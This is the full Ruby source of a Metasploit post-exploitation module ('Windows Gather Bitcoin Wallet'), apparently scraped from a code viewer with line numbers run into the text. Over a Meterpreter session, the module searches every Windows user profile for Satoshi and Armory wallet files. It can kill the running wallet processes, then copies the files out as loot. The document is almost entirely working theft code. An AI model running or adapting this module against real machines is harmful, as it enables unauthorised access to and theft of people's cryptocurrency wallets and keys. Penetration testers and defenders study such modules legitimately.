Path: blob/master/modules/post/windows/gather/bitcoin_jacker.rb
19721 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Auxiliary::Report7include Msf::Post::Windows::UserProfiles8include Msf::Post::File910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Windows Gather Bitcoin Wallet',15'Description' => %q{16This module downloads any Bitcoin wallet files from the target17system. It currently supports both the classic Satoshi wallet and the18more recent Armory wallets. Note that Satoshi wallets tend to be19unencrypted by default, while Armory wallets tend to be encrypted by default.20},21'License' => MSF_LICENSE,22'Author' => [23'illwill <illwill[at]illmob.org>', # Original implementation24'todb' # Added Armory support25],26'Platform' => [ 'win' ], # TODO: Several more platforms host Bitcoin wallets...27'SessionTypes' => [ 'meterpreter' ],28'Notes' => {29'Stability' => [CRASH_SAFE],30'SideEffects' => [],31'Reliability' => []32},33'Compat' => {34'Meterpreter' => {35'Commands' => %w[36stdapi_sys_process_get_processes37stdapi_sys_process_kill38]39}40}41)42)4344register_options([45OptBool.new('KILL_PROCESSES', [false, 'Kill associated Bitcoin processes before jacking.', false]),46])47end4849def run50print_status('Checking all user profiles for Bitcoin wallets...')51found_wallets = false52grab_user_profiles.each do |user|53next unless user['AppData']5455bitcoin_wallet_path = user['AppData'] + '\\Bitcoin\\wallet.dat'56next unless file?(bitcoin_wallet_path)5758found_wallets = true59jack_wallet(bitcoin_wallet_path)60armory_wallet_path = user['AppData'] + '\\Armory'61session.fs.dir.foreach(armory_wallet_path) do |fname|62next unless fname =~ /\.wallet/6364found_wallets = true65armory_wallet_fullpath = armory_wallet_path + "\\#{fname}"66jack_wallet(armory_wallet_fullpath)67end68end69unless found_wallets70print_warning 'No wallets found, nothing to do.'71end72end7374def jack_wallet(wallet_path)75data = ''76wallet_type = case wallet_path77when /\.wallet$/78:armory79when /wallet\.dat$/80:satoshi81else82:unknown83end8485if wallet_type == :unknown86print_error "Unknown wallet type: #{wallet_path}, nothing to do."87return88end8990print_status("#{wallet_type.to_s.capitalize} Wallet found at #{wallet_path}")91print_status("Jackin' wallet...")9293kill_bitcoin_processes if datastore['KILL_PROCESSES']9495begin96data = read_file(wallet_path) || ''97rescue StandardError => e98print_error("Failed to download #{wallet_path}: #{e.class} #{e}")99return100end101102if data.empty?103print_error('No data found, nothing to save.')104else105loot_result = store_loot(106"bitcoin.wallet.#{wallet_type}",107'application/octet-stream',108session,109data,110wallet_path,111"Bitcoin Wallet (#{wallet_type.to_s.capitalize})"112)113print_status("Wallet jacked: #{loot_result}")114end115end116117def kill_bitcoin_processes118client.sys.process.get_processes.each do |process|119pname = process['name'].downcase120next unless pname == 'bitcoin.exe' || pname == 'bitcoind.exe' || pname == 'armoryqt.exe'121122print_status("#{process['name']} Process Found...")123print_status("Killing Process ID #{process['pid']}...")124session.sys.process.kill(process['pid'])125end126end127end128129130